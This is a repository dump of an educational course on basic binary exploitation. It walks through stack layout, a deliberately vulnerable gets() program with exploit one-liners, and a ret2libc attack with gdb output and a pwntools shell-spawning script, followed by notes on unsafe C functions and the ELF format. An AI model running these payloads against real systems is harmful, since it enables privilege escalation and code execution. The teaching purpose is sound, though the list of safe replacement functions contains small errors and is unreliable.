"/bin/sh" 39 | gef➤ 40 | ``` 41 | 42 | Thus, you have the address of `system`, `exit`, and `/bin/sh` for the system as an argument. You just need to figure out how the stack works when you call a few functions in a row. 43 | 44 | Usual stack view: 45 | ``` 46 | | unused space | 47 | ----------------------------- <--- some_func2() 48 | | func variables | 49 | ----------------------------- 50 | | saved ebp | 51 | ----------------------------- 52 | | saved ret address | 53 | ----------------------------- 54 | | func arguments | 55 | ----------------------------- <--- some_func() that calls some_func2() 56 | | previous func variables | 57 | ----------------------------- 58 | | prev. saved ebp | 59 | ----------------------------- 60 | | prev. saved ret address | 61 | ----------------------------- 62 | | prev. func arguments | 63 | ----------------------------- 64 | ``` 65 | 66 | The stack when you do a ret2libc attack: 67 | ``` 68 | | unused space | 69 | ----------------------------- 70 | |AAAAAAAAAAAAAAAAAAAAAAAAAAA| 71 | ----------------------------- 72 | |AAAAAAAAAAAAAAAAAAAAAAAAAAA| 73 | ----------------------------- 74 | |AAAAAAAAAAAAAAAAAAAAAAAAAAA| 75 | ----------------------------- 76 | |AAAAAAAAAAAAAAAAAAAAAAAAAAA| 77 | ----------------------------- 78 | | ret address to the system | <--- this is a place where the ret address stored for the current function(some function, whatever) 79 | ----------------------------- 80 | | ret address to the exit | 81 | ----------------------------- 82 | | address of /bin/sh | 83 | ----------------------------- 84 | | null as end of input str. | 85 | ----------------------------- 86 | ``` 87 | 88 | After the first jump to the system function: 89 | ``` 90 | | empty space | 91 | ----------------------------- 92 | | ret address to the exit | <--- this is a place where the ret address stored for the current function(system) 93 | ----------------------------- 94 | | address of /bin/sh | <--- is considered as the first argument to the system 95 | ----------------------------- 96 | | null as end of input str. | 97 | ----------------------------- 98 | ``` 99 | 100 | After the second jump to the exit function: 101 | ``` 102 | ----------------------------- 103 | | null as end of input str. | <--- as an argument to exit or exit with 0 code. 104 | ----------------------------- 105 | | something else | 106 | ``` 107 | 108 | So, the final exploit will be just with all three correct address: 109 | ```bash 110 | gef➤ r < <(python -c 'print "A"*262 + "\x30\x28\xe0\xf7" + "\x70\x51\xdf\xf7" + "\x52\xf3\xf4\xf7"') 111 | Starting program: /home/shogun/repos/basics-of-pwn/content/security-techniques/stack-overflow-with-nx < <(python -c 'print "A"*262 + "\x30\x28\xe0\xf7" + "\x70\x51\xdf\xf7" + "\x52\xf3\xf4\xf7"') 112 | [Detaching after vfork from child process 5366] 113 | [Inferior 1 (process 5363) exited normally] 114 | gef➤ 115 | ``` 116 | 117 | You can see, that we executed child process. Try it outside gdb: 118 | ```bash 119 | $ (python -c 'print "A"*262 + "\x30\x28\xe0\xf7" + "\x70\x51\xdf\xf7" + "\x52\xf3\xf4\xf7"'; cat) | ./stack-overflow-with-nx 120 | w 121 | 21:17:33 up 36 min, 1 user, load average: 0.46, 0.37, 0.37 122 | USER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT 123 | shogun tty7 :0 20:41 36:03 1:15 1.39s xfce4-session 124 | 125 | ``` 126 | 127 | Attack with `pwntools`: 128 | ```python 129 | from pwn import * 130 | 131 | 132 | # start the vuln program 133 | p = process('./stack-overflow-with-nx') 134 | system_addr = p32(0xf7e02830) 135 | exit_addr = p32(0xf7df5170) 136 | bin_sh_addr = p32(0xf7f4f352) 137 | payload = b'A' * 262 138 | payload += system_addr 139 | payload += exit_addr 140 | payload += bin_sh_addr 141 | p.sendline(payload) 142 | p.interactive() 143 | ``` 144 | 145 | For security such as ASLR, this will not work, because it will also randomize the addresses of key functions and arguments for this attack. 146 | -------------------------------------------------------------------------------- /content/buffer-overflow/buffer-overflow.md: -------------------------------------------------------------------------------- 1 | # Buffer overflow 2 | 3 | So, as I wrote before this vulnerability allows you to overwrite data. 4 | 5 | ## Structure within the stack 6 | 7 | Suppose that we have a follow program: 8 | ```C 9 | #include 10 | /* 11 | This program is simple as possible 12 | */ 13 | 14 | // Compile with: 15 | // gcc stack-example.c -o stack-example -m32 16 | // -m32 option is just for better explanation 17 | 18 | int some_func1(int a, int b, int c, int d, int e, int f){ 19 | int result = some_func2(e, f); 20 | return a + b + c + d + result; 21 | } 22 | 23 | int some_func2(int e, int f){ 24 | int argv[10]; 25 | short ind; 26 | size_t len = 10; 27 | for(ind = 0; ind < 10; ind++){ 28 | argv[ind] = ind; 29 | } 30 | return e * f; 31 | } 32 | 33 | int main(int argc, char *argv[]){ 34 | int a = 1, b = 2, c = 3, d=4, e=5, f=6; 35 | int result = some_func1(a, b, c, d, e, f); 36 | return 0; 37 | } 38 | ``` 39 | 40 | When the program starts, the stack contains the argc and argv arguments to the main function (also envp). 41 | When a new function is executed, its arguments are moved either to registers (for example, `rax`, `rbx`, `rcx`, `rdx`, `rdi`, `rsi` in Intel x86-64), or directly onto the stack (via `push 0x1` type of instructions). 42 | 43 | Let's take a look at the assembly instructions within main: 44 | 45 | ```bash 46 | gef➤ disas main 47 | Dump of assembler code for function main: 48 | 0x5655620c <+0>: lea ecx,[esp+0x4] 49 | 0x56556210 <+4>: and esp,0xfffffff0 50 | 0x56556213 <+7>: push DWORD PTR [ecx-0x4] 51 | 0x56556216 <+10>: push ebp 52 | 0x56556217 <+11>: mov ebp,esp 53 | 0x56556219 <+13>: push ecx 54 | 0x5655621a <+14>: sub esp,0x24 55 | 0x5655621d <+17>: call 0x5655627e <__x86.get_pc_thunk.ax> 56 | 0x56556222 <+22>: add eax,0x2dde 57 | 0x56556227 <+27>: mov DWORD PTR [ebp-0xc],0x1 58 | 0x5655622e <+34>: mov DWORD PTR [ebp-0x10],0x2 59 | 0x56556235 <+41>: mov DWORD PTR [ebp-0x14],0x3 60 | 0x5655623c <+48>: mov DWORD PTR [ebp-0x18],0x4 61 | 0x56556243 <+55>: mov DWORD PTR [ebp-0x1c],0x5 62 | 0x5655624a <+62>: mov DWORD PTR [ebp-0x20],0x6 63 | 0x56556251 <+69>: sub esp,0x8 64 | 0x56556254 <+72>: push DWORD PTR [ebp-0x20] 65 | 0x56556257 <+75>: push DWORD PTR [ebp-0x1c] 66 | 0x5655625a <+78>: push DWORD PTR [ebp-0x18] 67 | 0x5655625d <+81>: push DWORD PTR [ebp-0x14] 68 | 0x56556260 <+84>: push DWORD PTR [ebp-0x10] 69 | 0x56556263 <+87>: push DWORD PTR [ebp-0xc] 70 | 0x56556266 <+90>: call 0x56556189 71 | 0x5655626b <+95>: add esp,0x20 72 | 0x5655626e <+98>: mov DWORD PTR [ebp-0x24],eax 73 | 0x56556271 <+101>: mov eax,0x0 74 | 0x56556276 <+106>: mov ecx,DWORD PTR [ebp-0x4] 75 | 0x56556279 <+109>: leave 76 | 0x5655627a <+110>: lea esp,[ecx-0x4] 77 | 0x5655627d <+113>: ret 78 | End of assembler dump. 79 | gef➤ 80 | 81 | ``` 82 | 83 | You can see that here we are pushing 1, 2, 3, 4, 5, 6 onto the stack at ebp - some offset. `ebp` is just a base pointer that is placed at the bottom of the stack portion of the currently called function. 84 | EBP also provides access to the required address on the stack where the values ​​of the variables are stored. So, when you declare the first variable in a function and set some value for it, for example, int value = 4, you can access it with `ebp - 0x4`. If you have a buffer of integers, for example, 10 in size, you can access it with `ebp - 0x28`. Etc. 85 | 86 | Proof of concept: 87 | ```bash 88 | gef> b *some_func1 + 11 89 | gef➤ x/50wx $ebp 90 | 0xffffd1d8: 0xffffd228 0x5655626b 0x00000001 0x00000002 91 | 0xffffd1e8: 0x00000003 0x00000004 0x00000005 0x00000006 92 | 0xffffd1f8: 0x00000000 0x56556222 0xf7fb13fc 0x56559000 93 | 0xffffd208: 0x00000006 0x00000005 0x00000004 0x00000003 94 | 0xffffd218: 0x00000002 0x00000001 0xf7fe4520 0xffffd240 95 | 0xffffd228: 0x00000000 0xf7df1b41 0xf7fb1000 0xf7fb1000 96 | 0xffffd238: 0x00000000 0xf7df1b41 0x00000002 0xffffd2d4 97 | 0xffffd248: 0xffffd2e0 0xffffd264 0x00000001 0x00000000 98 | 0xffffd258: 0xf7fb1000 0xffffffff 0xf7ffd000 0x00000000 99 | 0xffffd268: 0xf7fb1000 0xf7fb1000 0x00000000 0xc574ab7c 100 | 0xffffd278: 0x84e62d6c 0x00000000 0x00000000 0x00000000 101 | 0xffffd288: 0x00000002 0x56556050 0x00000000 0xf7fe9690 102 | 0xffffd298: 0xf7fe4520 0x56559000 103 | ``` 104 | 105 | At the address of `0xffffd1d8` - `0xffffd1e8` you can see our values 1, 2, 3, 4, 5, 6. But before them, you can see the address `0x5655626b` which is just the address of the next assembly instruction after `some_func1` call. This is a return address, and the `ret` instruction will take it and place it in `eip` register which holds the address of the next instruction to execute. 106 | 107 | ## Exploitation 108 | 109 | So, I wrote a simple program that has a part with a `system` Unix syscall to execute `/bin/sh`. You need to compile it without stack protection. 110 | 111 | ```C 112 | #include 113 | 114 | // gcc buffer-overflow.c -o buffer-overflow -fno-stack-protector 115 | 116 | int main(int argc, char *argv[]){ 117 | char vuln_buff[100]; 118 | int access = 4321; 119 | // vulnerable 120 | gets(vuln_buff); 121 | if (access == 1234){ 122 | setuid(0); 123 | system("/bin/sh"); 124 | } 125 | return 0; 126 | } 127 | ``` 128 | 129 | Also, it used the vulnerable function `gets`. But this is vulnerable because it doesn't check the input size. It may be also a programming mistake with `read`. 130 | Okay, we know the size of buffer, buf if we wouldn't know, then you can see it in the gdb: 131 | 132 | ```bash 133 | 0x0000000000001183 <+26>: lea rax,[rbp-0x70] 134 | 0x0000000000001187 <+30>: mov rdi,rax 135 | 0x000000000000118a <+33>: mov eax,0x0 136 | 0x000000000000118f <+38>: call 0x1070 137 | ``` 138 | 139 | Line `+26` shows you that for some reasons, buffer size in machine code is 112 bytes. So, you can exploit it: 140 | 141 | ```bash 142 | gcc buf-overflow.c -o buffer-overflow -fno-stack-protector 143 | (python -c 'print "A"*108 + "\xdd\xdd"'; cat) | ./buffer-overflow 144 | ``` 145 | 146 | But, you don't get a shell, cause you overwrote the access variable with `0xdddd`. You can get it with what hex address it compares in the gdb: 147 | 148 | ```bash 149 | 0x0000000000001194 <+43>: cmp DWORD PTR [rbp-0x4],0x4d2 150 | ``` 151 | 152 | So, your final exploit: 153 | 154 | ```bash 155 | (python -c 'print "A"*108 + "\xd2\x04"'; cat) | ./buffer-overflow 156 | ``` 157 | 158 | And you will get a shell, but you will be you, not the other user or root. Yeah, in this kind of program, the vulnerability is useless for an attacker, but if it has a `suid` bit set(`chmod ug+s buffer-overflow` as another user), he can get a root or another user privilege. But, if a program with some network interactions has this vulnerability, then the attacker can get Remote Code Execution or RCE, even if the program doesn't have a suid on the root or other user. Also, the main reason for RCE here is the condition which gives a shell, but even so, this vulnerability opens a thread to further exploitation. 159 | 160 | ## Vulnerable code 161 | 162 | ### gets 163 | 164 | ```C 165 | #include 166 | 167 | int main(){ 168 | char buff[125]; 169 | gets(buff); 170 | } 171 | ``` 172 | 173 | `gets` doesn't check the buffer overflow or the length of the input. 174 | 175 | ### scanf 176 | 177 | ```C 178 | #include 179 | 180 | int main(){ 181 | char buff[133]; 182 | scanf("%s", buff); 183 | } 184 | ``` 185 | 186 | `scanf` doesn't check the buffer overflow. 187 | 188 | ## sprintf 189 | 190 | ```C 191 | #include 192 | 193 | int main(int argc, char *argv[]){ 194 | char buff[123]; 195 | sprintf(buff, "The user entered: %s", argv[1]); 196 | } 197 | ``` 198 | 199 | `sprintf` doesn't check the buffer overflow. 200 | 201 | ### strcpy 202 | 203 | ```C 204 | #include 205 | 206 | int main(int argc, char *argv[]){ 207 | char buff[132]; 208 | strcpy(buff, argv[1]); 209 | } 210 | ``` 211 | 212 | `strcpy` doesn't check the buffer overflow. 213 | 214 | ### strcmp 215 | 216 | ```C 217 | #include 218 | 219 | int main(int argc, char *argv[]){ 220 | const char password = "P@ssw0rd1"; 221 | size_t res = strcmp(password, argv[1]); 222 | } 223 | ``` 224 | 225 | `strcmp` doesn't check the buffer overflow. 226 | 227 | ### strcat 228 | 229 | ```C 230 | #include 231 | 232 | int main(int argc, char *argv[]){ 233 | char buff[77]; 234 | strcpy(buff, argv[1]); 235 | strcat(buff[77], argv[2]); 236 | } 237 | ``` 238 | 239 | `strcat` doesn't check the buffer overflow. 240 | 241 | ### read 242 | 243 | ```C 244 | #include 245 | 246 | int main(){ 247 | char buff[50]; 248 | read(1, buff, 75); 249 | } 250 | ``` 251 | 252 | Here, the function `read` has a parameter to specify the length of the input to take, but if you'll do the mistake with this length, this case will be the vulnerability. 253 | 254 | ### Functions to use instead 255 | 256 | * scanf, gets, sprintf - fgets 257 | 258 | * strcmp, strcat, strcpy - strncmp, strncat, strncmp 259 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # basics-of-pwn 2 | 3 | My course work about basic binary exploitation. 4 | 5 | ![pwn-structure](images/pwn-structure.png "https://github.com/whatsyourask/basics-of-pwn/blob/main/images/pwn-structure.png") 6 | 7 | ## Table of Contents 8 | 9 | - [Memory layout of the process](content/memory-layout.md "https://github.com/whatsyourask/basics-of-pwn/blob/main/content/memory-layout.md") 10 | - [ELF and its key things](content/elf.md "https://github.com/whatsyourask/basics-of-pwn/blob/main/content/elf.md") 11 | * [ELF format](content/elf.md#elf-format "https://github.com/whatsyourask/basics-of-pwn/blob/main/content/elf.md#elf-format") 12 | * [Features of ELF](content/elf.md#elf-features "https://github.com/whatsyourask/basics-of-pwn/blob/main/content/elf.md#elf-features") 13 | - [Vulnerabilities types](content/vulnerabilities.md "https://github.com/whatsyourask/basics-of-pwn/blob/main/content/vulnerabilities.md") 14 | * [Buffer overflow](content/buffer-overflow/buffer-overflow.md "https://github.com/whatsyourask/basics-of-pwn/blob/main/content/buffer-overflow/buffer-overflow.md") 15 | * [Structure within the stack](content/buffer-overflow/buffer-overflow.md#structure-within-the-stack "https://github.com/whatsyourask/basics-of-pwn/blob/main/content/buffer-overflow/buffer-overflow.md#structure-within-the-stack") 16 | * [Exploitation](content/buffer-overflow/buffer-overflow.md#exploitation "https://github.com/whatsyourask/basics-of-pwn/blob/main/content/buffer-overflow/buffer-overflow.md#exploitation") 17 | * [Vulnerable code](content/buffer-overflow/buffer-overflow.md#vulnerable-code "https://github.com/whatsyourask/basics-of-pwn/blob/main/content/buffer-overflow/buffer-overflow.md#vulnerable-code") 18 | * [Stack overflow](content/stack-overflow/stack-overflow.md "https://github.com/whatsyourask/basics-of-pwn/blob/main/content/stack-overflow/stack-overflow.md") 19 | * [Jump to an arbitrary address](content/stack-overflow/stack-overflow.md#jump-to-an-arbitrary-address "https://github.com/whatsyourask/basics-of-pwn/blob/main/content/stack-overflow/stack-overflow.md#jump-to-an-arbitrary-address") 20 | * [Shellcode writing](content/stack-overflow/stack-overflow.md#shellcode-writing "https://github.com/whatsyourask/basics-of-pwn/blob/main/content/stack-overflow/stack-overflow.md#shellcode-writing") 21 | * [Exploitation](content/stack-overflow/stack-overflow.md#exploitation "https://github.com/whatsyourask/basics-of-pwn/blob/main/content/stack-overflow/stack-overflow.md#exploitation") 22 | * [NOP chain](content/stack-overflow/stack-overflow.md#nop-chain "https://github.com/whatsyourask/basics-of-pwn/blob/main/content/stack-overflow/stack-overflow.md#nop-chain") 23 | * [pwntools](content/stack-overflow/stack-overflow.md#pwntools "https://github.com/whatsyourask/basics-of-pwn/blob/main/content/stack-overflow/stack-overflow.md#pwntools") 24 | * [Format string vulnerability](content/format-string/format-string.md "https://github.com/whatsyourask/basics-of-pwn/blob/main/content/format-string/format-string.md") 25 | * [View vulnerability](content/format-string/format-string.md#view-vulnerability "https://github.com/whatsyourask/basics-of-pwn/blob/main/content/format-string/format-string.md#view-vulnerability") 26 | * [Format string specifiers](content/format-string/format-string.md#format-string-specifiers "https://github.com/whatsyourask/basics-of-pwn/blob/main/content/format-string/format-string.md#format-string-specifiers") 27 | * [Read arbitrary data](content/format-string/format-string.md#read-arbitrary-data "https://github.com/whatsyourask/basics-of-pwn/blob/main/content/format-string/format-string.md#read-arbitrary-data") 28 | * [Jump to an arbitrary address](content/format-string/format-string.md#jump-to-an-arbitrary-data "https://github.com/whatsyourask/basics-of-pwn/blob/main/content/format-string/format-string.md#jump-to-an-arbitrary-data") 29 | * [Writing in several stages](content/format-string/format-string.md#writing-in-several-stages "https://github.com/whatsyourask/basics-of-pwn/blob/main/content/format-string/format-string.md#writing-in-several-stages") 30 | * [Exploitation](content/format-string/format-string.md#exploitation "https://github.com/whatsyourask/basics-of-pwn/blob/main/content/format-string/format-string.md#exploitation") 31 | * [What else can you overwrite with a format string](content/format-string/format-string.md#what-else-can-you-overwrite-with-a-format-string "https://github.com/whatsyourask/basics-of-pwn/blob/main/content/format-string/format-string.md#what-else-can-you-overwrite-with-a-format-string") 32 | * [Heap overflow] 33 | - [Security techniques](content/security-techniques/security-techniques.md "https://github.com/whatsyourask/basics-of-pwn/blob/main/content/security-techniques/security-techniques.md") 34 | * [Non-Executable Stack(NX)](content/security-techniques/security-techniques.md#non-executable-stacknx "https://github.com/whatsyourask/basics-of-pwn/blob/main/content/security-techniques/security-techniques.md#non-executable-stacknx") 35 | * [Address Space Layout Randomization(ASLR)](content/security-techniques/security-techniques.md#address-space-layout-randomizationaslr "https://github.com/whatsyourask/basics-of-pwn/blob/main/content/security-techniques/security-techniques.md#address-space-layout-randomizationaslr") 36 | * [Stack Canary](content/security-techniques/security-techniques.md#stack-canary "https://github.com/whatsyourask/basics-of-pwn/blob/main/content/security-techniques/security-techniques.md#stack-canary") 37 | * [Position Independent Executable(PIE)](content/security-techniques/security-techniques.md#position-independent-executablepie "https://github.com/whatsyourask/basics-of-pwn/blob/main/content/security-techniques/security-techniques.md#position-independent-executablepie") 38 | * [Relocation Read-Only(RELRO)](content/security-techniques/security-techniques.md#relocation-read-onlyrelro "https://github.com/whatsyourask/basics-of-pwn/blob/main/content/security-techniques/security-techniques.md#relocation-read-onlyrelro") 39 | * [All five in the action] 40 | - [Bypass security techniques](content/bypass-security-techniques/bypass-security-techniques.md "https://github.com/whatsyourask/basics-of-pwn/blob/main/content/bypass-security-techniques/bypass-security-techniques.md") 41 | * [Return-to-libc(ret2libc)](content/bypass-security-techniques/bypass-security-techniques.md#return-to-libc-attackret2libc "https://github.com/whatsyourask/basics-of-pwn/blob/main/content/bypass-security-techniques/bypass-security-techniques.md#return-to-libc-attackret2libc") 42 | * [Return-oriented programming(ROP)](https://github.com/whatsyourask/ctf/tree/main/HackTheBox%20Challenges/Pwn/Ropme "https://github.com/whatsyourask/ctf/tree/main/HackTheBox%20Challenges/Pwn/Ropme") 43 | 44 | ## Resources 45 | 46 | ### Links 47 | 48 | * [elf wiki](https://elinux.org/Executable_and_Linkable_Format_(ELF) "https://elinux.org/Executable_and_Linkable_Format_(ELF)") 49 | * [elf pdf book](http://flint.cs.yale.edu/cs422/doc/ELF_Format.pdf "http://flint.cs.yale.edu/cs422/doc/ELF_Format.pdf") 50 | * [x86 syscalls table](https://syscalls32.paolostivanin.com/ "https://syscalls32.paolostivanin.com/") 51 | * [x86-64 syscalls talbe](https://blog.rchapman.org/posts/Linux_System_Call_Table_for_x86_64/?__cf_chl_captcha_tk__=b8fbfda8ee898b6c00431d92d27106cd1c313f62-1618472325-0-AVAEkq6Rq4DjlvcvmulDzU6XfjgFvTTN0vhhH4mviS5viqf9vPu5czIo7DVnp9JqHNrXbhBWhfd2VstZJ-fpOp9QyfP0hYuOiHtEuck9YzjfUb_7vsjOswfrqcQUsUGAJoVrVRk5wbj-oW5Il013tEo_lmRwXzl_aTG1Jq6yq21b4SHTRFy0KjSvKgpeYnxw6p8iNFEKAGCHXM19l2AqZX4KPVpa1EAJ6qxxSIcSgFG-YPzA2R32c1yc7GqS9AtHCLuUd6cJlUNwfCaExjDqNWhaYQFJNJP9tn-QkwdfORVMrPXCIh3-9MdVgIzRntG3i1b0UKJKNBXPjXi5EHVhJoy4AuS9p2jhB6QK0_r2zcq2LcS_8vLXBwiguZgxBERG82_W6utBhMl21gOVLJkfPHXrhUNSv6BESMmOhEGixBn0UCMgSLwL-yj1iE_hCD_gDIIF2zGI59_uVwyru52YCwg5H_BzuvDRyhy1HILTJIjMWo_Dq3fctguS8t0aZ1OMgIxaAj0m_LF05T2HOrwHnFYPnm79oakC7hu_STxDQ7SYil9uFw-U8FVIypSnosYhu8F9hreEeJj6wC9QRyHhny4GP7ka912JnikVP9p2hYlx7XSZY_W0ojKVvOPgy9TLnwPkjpQuk8rYsr8LMic2fow "https://blog.rchapman.org/posts/Linux_System_Call_Table_for_x86_64/?__cf_chl_captcha_tk__=b8fbfda8ee898b6c00431d92d27106cd1c313f62-1618472325-0-AVAEkq6Rq4DjlvcvmulDzU6XfjgFvTTN0vhhH4mviS5viqf9vPu5czIo7DVnp9JqHNrXbhBWhfd2VstZJ-fpOp9QyfP0hYuOiHtEuck9YzjfUb_7vsjOswfrqcQUsUGAJoVrVRk5wbj-oW5Il013tEo_lmRwXzl_aTG1Jq6yq21b4SHTRFy0KjSvKgpeYnxw6p8iNFEKAGCHXM19l2AqZX4KPVpa1EAJ6qxxSIcSgFG-YPzA2R32c1yc7GqS9AtHCLuUd6cJlUNwfCaExjDqNWhaYQFJNJP9tn-QkwdfORVMrPXCIh3-9MdVgIzRntG3i1b0UKJKNBXPjXi5EHVhJoy4AuS9p2jhB6QK0_r2zcq2LcS_8vLXBwiguZgxBERG82_W6utBhMl21gOVLJkfPHXrhUNSv6BESMmOhEGixBn0UCMgSLwL-yj1iE_hCD_gDIIF2zGI59_uVwyru52YCwg5H_BzuvDRyhy1HILTJIjMWo_Dq3fctguS8t0aZ1OMgIxaAj0m_LF05T2HOrwHnFYPnm79oakC7hu_STxDQ7SYil9uFw-U8FVIypSnosYhu8F9hreEeJj6wC9QRyHhny4GP7ka912JnikVP9p2hYlx7XSZY_W0ojKVvOPgy9TLnwPkjpQuk8rYsr8LMic2fow") 52 | * [gef docs](https://gef.readthedocs.io/en/master/ "https://gef.readthedocs.io/en/master/") 53 | * [gef repo](https://github.com/hugsy/gef "https://github.com/hugsy/gef") 54 | * [gdb - unset environement](https://stackoverflow.com/questions/55593045/how-to-set-environment-variable-within-gdb-using-shell-command) 55 | * [pwntools docs](https://docs.pwntools.com/en/latest/ "https://docs.pwntools.com/en/latest/") 56 | * [pwntools repo](https://github.com/Gallopsled/pwntools "https://github.com/Gallopsled/pwntools") 57 | * [stanford format-string pdf](https://crypto.stanford.edu/cs155old/cs155-spring08/papers/formatstring-1.2.pdf "https://crypto.stanford.edu/cs155old/cs155-spring08/papers/formatstring-1.2.pdf") 58 | * [shellcode database](http://shell-storm.org/shellcode/ "http://shell-storm.org/shellcode/") 59 | * [stack canary](https://ctf101.org/binary-exploitation/stack-canaries/ "https://ctf101.org/binary-exploitation/stack-canaries/") 60 | * [collection of ctf binary exploitation solutions](https://github.com/guyinatuxedo/nightmare "https://github.com/guyinatuxedo/nightmare") 61 | 62 | ### Books 63 | 64 | * [The Shellcoder's Handbook: Discovering and Exploiting Security Holes, 2nd Edition](https://www.amazon.com/Shellcoders-Handbook-Discovering-Exploiting-Security/dp/047008023X "https://www.amazon.com/Shellcoders-Handbook-Discovering-Exploiting-Security/dp/047008023X") 65 | -------------------------------------------------------------------------------- /content/elf.md: -------------------------------------------------------------------------------- 1 | # ELF format and its key things 2 | 3 | All binary exploitation in the repository is shown for ELF executable format files. 4 | So, you need to understand what ELF format is. 5 | 6 | ## ELF format 7 | 8 | ELF is a format commonly used by Unix systems. 9 | 10 | ![elf-format](../images/elf.png "https://github.com/whatsyourask/basics-of-pwn/blob/main/images/elf.png") 11 | 12 | This is an image from Wikipedia, but it shows a great picture of ELF. 13 | So, the image shows that you have a simple.arm file. It has three main sections. The next picture also shows it. 14 | 15 | ![elf-sections](../images/elf-sections.png "https://github.com/whatsyourask/basics-of-pwn/blob/main/images/elf-sections.png") 16 | 17 | ### ELF Header 18 | 19 | The ELF header is 32 bytes long. It identifies the format of the file. It starts with a sequence of four unique values: 0x7f, 0x45, 0x4c, 0x46. Which is just an ELF word. The header also indicates whether the file is a 32-bit format or 64-bit, little-endian or big-endian, ELF version, OS version for which executable was compiled. 20 | 21 | `readelf -h /bin/bash` will show you the ELF header. 22 | 23 | Example: 24 | 25 | ``` 26 | ELF Header: 27 | Magic: 7f 45 4c 46 02 01 01 00 00 00 00 00 00 00 00 00 28 | Class: ELF64 29 | Data: 2's complement, little endian 30 | Version: 1 (current) 31 | OS/ABI: UNIX - System V 32 | ABI Version: 0 33 | Type: DYN (Shared object file) 34 | Machine: Advanced Micro Devices X86-64 35 | Version: 0x1 36 | Entry point address: 0x2f630 37 | Start of program headers: 64 (bytes into file) 38 | Start of section headers: 1166920 (bytes into file) 39 | Flags: 0x0 40 | Size of this header: 64 (bytes) 41 | Size of program headers: 56 (bytes) 42 | Number of program headers: 11 43 | Size of section headers: 64 (bytes) 44 | Number of section headers: 29 45 | Section header string table index: 28 46 | ``` 47 | 48 | ### The Program Header 49 | 50 | This section shows you the segments at run-time. Also, it tells the system how to create a process image. 51 | 52 | `readelf -l /bin/bash` 53 | 54 | Example: 55 | 56 | ``` 57 | The elf file type is DYN (Shared object file) 58 | Entry point 0x2f630 59 | There are 11 program headers, starting at offset 64 60 | 61 | Program Headers: 62 | Type Offset VirtAddr PhysAddr 63 | FileSiz MemSiz Flags Align 64 | PHDR 0x0000000000000040 0x0000000000000040 0x0000000000000040 65 | 0x0000000000000268 0x0000000000000268 R 0x8 66 | INTERP 0x00000000000002a8 0x00000000000002a8 0x00000000000002a8 67 | 0x000000000000001c 0x000000000000001c R 0x1 68 | [Requesting program interpreter: /lib64/ld-linux-x86-64.so.2] 69 | LOAD 0x0000000000000000 0x0000000000000000 0x0000000000000000 70 | 0x000000000002cd98 0x000000000002cd98 R 0x1000 71 | LOAD 0x000000000002d000 0x000000000002d000 0x000000000002d000 72 | 0x00000000000ad78d 0x00000000000ad78d R E 0x1000 73 | LOAD 0x00000000000db000 0x00000000000db000 0x00000000000db000 74 | 0x0000000000035730 0x0000000000035730 R 0x1000 75 | LOAD 0x00000000001113f0 0x00000000001123f0 0x00000000001123f0 76 | 0x000000000000b914 0x00000000000155a8 RW 0x1000 77 | DYNAMIC 0x0000000000113cf0 0x0000000000114cf0 0x0000000000114cf0 78 | 0x0000000000000200 0x0000000000000200 RW 0x8 79 | NOTE 0x00000000000002c4 0x00000000000002c4 0x00000000000002c4 80 | 0x0000000000000044 0x0000000000000044 R 0x4 81 | GNU_EH_FRAME 0x00000000000f4930 0x00000000000f4930 0x00000000000f4930 82 | 0x00000000000044c4 0x00000000000044c4 R 0x4 83 | GNU_STACK 0x0000000000000000 0x0000000000000000 0x0000000000000000 84 | 0x0000000000000000 0x0000000000000000 RW 0x10 85 | GNU_RELRO 0x00000000001113f0 0x00000000001123f0 0x00000000001123f0 86 | 0x0000000000002c10 0x0000000000002c10 R 0x1 87 | 88 | Section to Segment mapping: 89 | Segment Sections... 90 | 00 91 | 01 .interp 92 | 02 .interp .note.ABI-tag .note.gnu.build-id .gnu.hash .dynsym .dynstr .gnu.version .gnu.version_r .rela.dyn .rela.plt 93 | 03 .init .plt .plt.got .text .fini 94 | 04 .rodata .eh_frame_hdr .eh_frame 95 | 05 .init_array .fini_array .data.rel.ro .dynamic .got .got.plt .data .bss 96 | 06 .dynamic 97 | 07 .note.ABI-tag .note.gnu.build-id 98 | 08 .eh_frame_hdr 99 | 09 100 | 10 .init_array .fini_array .data.rel.ro .dynamic .got 101 | ``` 102 | 103 | ### The Section Header 104 | 105 | The Section Header lists the sections of the binary. Here, you can also meet a `.bss`, `.data`, `.text` sections from the memory layout page. 106 | 107 | `readelf -S /bin/bash` 108 | 109 | Example: 110 | 111 | ``` 112 | There are 29 section headers, starting at offset 0x11ce48: 113 | 114 | Section Headers: 115 | [Nr] Name Type Address Offset 116 | Size EntSize Flags Link Info Align 117 | [ 0] NULL 0000000000000000 00000000 118 | 0000000000000000 0000000000000000 0 0 0 119 | [ 1] .interp PROGBITS 00000000000002a8 000002a8 120 | 000000000000001c 0000000000000000 A 0 0 1 121 | [ 2] .note.ABI-tag NOTE 00000000000002c4 000002c4 122 | 0000000000000020 0000000000000000 A 0 0 4 123 | [ 3] .note.gnu.build-i NOTE 00000000000002e4 000002e4 124 | 0000000000000024 0000000000000000 A 0 0 4 125 | [ 4] .gnu.hash GNU_HASH 0000000000000308 00000308 126 | 0000000000004aa8 0000000000000000 A 5 0 8 127 | [ 5] .dynsym DYNSYM 0000000000004db0 00004db0 128 | 000000000000e400 0000000000000018 A 6 1 8 129 | [ 6] .dynstr STRTAB 00000000000131b0 000131b0 130 | 0000000000009728 0000000000000000 A 0 0 1 131 | [ 7] .gnu.version VERSYM 000000000001c8d8 0001c8d8 132 | 0000000000001300 0000000000000002 A 5 0 2 133 | [ 8] .gnu.version_r VERNEED 000000000001dbd8 0001dbd8 134 | 00000000000000d0 0000000000000000 A 6 3 8 135 | [ 9] .rela.dyn RELA 000000000001dca8 0001dca8 136 | 000000000000dc80 0000000000000018 A 5 0 8 137 | [10] .rela.plt RELA 000000000002b928 0002b928 138 | 0000000000001470 0000000000000018 AI 5 24 8 139 | [11] .init PROGBITS 000000000002d000 0002d000 140 | 0000000000000017 0000000000000000 AX 0 0 4 141 | [12] .plt PROGBITS 000000000002d020 0002d020 142 | 0000000000000db0 0000000000000010 AX 0 0 16 143 | [13] .plt.got PROGBITS 000000000002ddd0 0002ddd0 144 | 0000000000000018 0000000000000008 AX 0 0 8 145 | [14] .text PROGBITS 000000000002ddf0 0002ddf0 146 | 00000000000ac991 0000000000000000 AX 0 0 16 147 | [15] .fini PROGBITS 00000000000da784 000da784 148 | 0000000000000009 0000000000000000 AX 0 0 4 149 | [16] .rodata PROGBITS 00000000000db000 000db000 150 | 0000000000019930 0000000000000000 A 0 0 32 151 | [17] .eh_frame_hdr PROGBITS 